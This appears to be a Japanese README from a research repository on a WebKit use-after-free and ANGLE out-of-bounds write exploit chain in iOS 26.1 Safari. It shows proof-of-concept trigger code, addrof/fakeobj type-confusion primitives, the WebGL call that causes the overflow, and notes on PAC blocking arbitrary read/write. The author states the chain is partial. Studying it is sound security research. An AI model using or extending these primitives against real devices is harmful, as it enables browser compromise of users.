
CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) エクスプロイトチェーンの解析 - iOS Safari
iOS 26.1 上の WebKit/ANGLE チェーンに関するメモと PoC 資料。これは完全なエクスプロイトではなく、検証済みのプリミティブと、いまだ失敗する部分を分離したものです。
著者: zeroxjf
基盤: jir4vv1t の CVE-2025-43529 エクスプロイト
ステータス: 部分的なチェーン。任意 R/W は未立証
テスト端末: iPhone 11 Pro Max、iOS 26.1
最終更新: 2026年1月
CVE-2025-43529 の UAF トリガー、butterfly リクレーム、addrof/fakeobj プリミティブは、jir4vv1t の研究 に基づいています。私の追加分は、ANGLE OOB の配線、PAC に焦点を当てた解析、および iOS 26.1 での検証です。
同時に開示され、Apple により実際の悪用(in-the-wild)として報告された 2 件の WebKit CVE。
| CVE | コンポーネント | 種別 | 概要 |
|---|---|---|---|
| CVE-2025-43529 | JavaScriptCore | Use-After-Free | DFG JIT のライトバリア欠落により、GC が生存オブジェクトを解放 |
| CVE-2025-14174 | ANGLE (GPU) | Out-of-Bounds Write | Metal バックエンドがステージングバッファの確保時に誤った高さを使用 |
このバグは JavaScriptCore の DFG JIT、具体的には ストアバリア挿入フェーズ(DFGStoreBarrierInsertionPhase.cpp)にあります。
Phi ノードがエスケープしても、その Upsilon 入力がエスケープとしてマークされていない場合、後続のストアでライトバリアが欠落します。これにより GC が、依然として到達可能なオブジェクトを解放できてしまいます。
function triggerUAF(flag, k, allocCount) {
let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
arr[arr_index] = A; // A in old space
let a = new Date(1111);
a[0] = 1.1; // Creates butterfly for Date
// Force GC
for (let j = 0; j < allocCount; ++j) {
forGC.push(new ArrayBuffer(0x800000));
}
let b = { p0: 0x42424242, p1: 1.1 };
// Phi node - the bug
let f = b;
if (flag) f = 1.1;
A.p1 = f; // Phi escapes, but 'b' NOT marked as escaped
// Long loop = GC race window
for (let i = 0; i < 1e6; ++i) { /* ... */ }
b.p1 = a; // NO WRITE BARRIER - 'a' freed while still reachable
}
解放された Date の butterfly は、スプレー配列によってリクレームされ、型混乱(type confusion)を引き起こす可能性があります:
// After reclaim:
boxed_arr[0] = obj; // Store object reference
addr = ftoi(unboxed_arr[0]); // Read as float64 = leaked address
unboxed_arr[0] = itof(addr); // Write address as float64
fake = boxed_arr[0]; // Read as object = fakeobj
ANGLE の Metal バックエンド(TextureMtl.cpp)では、PBO 経由のアップロード時に、ステージングバッファの確保が実際のテクスチャの高さではなく UNPACK_IMAGE_HEIGHT を使用します。
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // Small value
// Staging buffer: 256 * 16 * 4 = 16KB
// Actual write: 256 * 256 * 4 = 256KB
// OOB: 240KB!
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
arm64e(iPhone 11 Pro Max)では、Pointer Authentication Codes(PAC) が重要な JSC ポインタを保護しています:
| ポインタ | 保護 | 結果 |
|---|---|---|
TypedArray m_vector | あり | 任意のバッキングストアを持つ TypedArray を偽造できない |
JSArray butterfly | あり | 任意の butterfly を持つ JSArray を偽造できない |
任意のデータポインタを持つ偽造 TypedArray/JSArray を作成しようとすると、PAC 検証が失敗してクラッシュします:
Exception: EXC_BAD_ACCESS
KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc
(possible pointer authentication failure)
型混乱が成功するのは、両方の配列が正規に署名された butterfly ポインタを使用しているためです。つまり、同じメモリを再解釈しているにすぎません。任意の未署名ポインタを持つ偽造オブジェクトは、PAC チェックでクラッシュします。
addrof、fakeobj、アドレス漏洩、既知のオブジェクトでのインラインスロットの読み書きread64/write64、レンダラー→GPU エスケープチェーン、サンドボックスエスケープ├── README.md # This file
├── poc/
│ └── chained_exploit_probe.html
└── analysis/
├── pac_analysis.md # Detailed PAC findings
└── crash_logs/ # Example crash reports
CVE-2025-43529 のトリガー、butterfly リクレーム手法、addrof/fakeobj の構築は、jir4vv1t/CVE-2025-43529 に基づいています。このリポジトリでは、iOS 26.1 での検証、PAC に関するメモ、ANGLE OOB の配線を追加しています。
現状: JSC プリミティブと PAC の障壁を再現するのに有用です。完全なエクスプロイトチェーンではありません。
| プリミティブ | ステータス | 備考 |
|---|
addrof(obj) | 動作確認済み | プローブで検証済み |
fakeobj(addr) | 動作確認済み | 既知のオブジェクトに対して検証済み |
| アドレス漏洩 | 動作確認済み | 実行ごとに 20 以上のアドレス |
| インラインスロットの読み書き | 動作確認済み | 既知のインラインスロットで検証済み(オブジェクトアドレス基準) |
read64(addr) | 未検証 | インラインスロットのトリックで構築するも、証明は失敗 |
write64(addr) | 未検証 | インラインスロットのトリックで構築するも、証明は失敗 |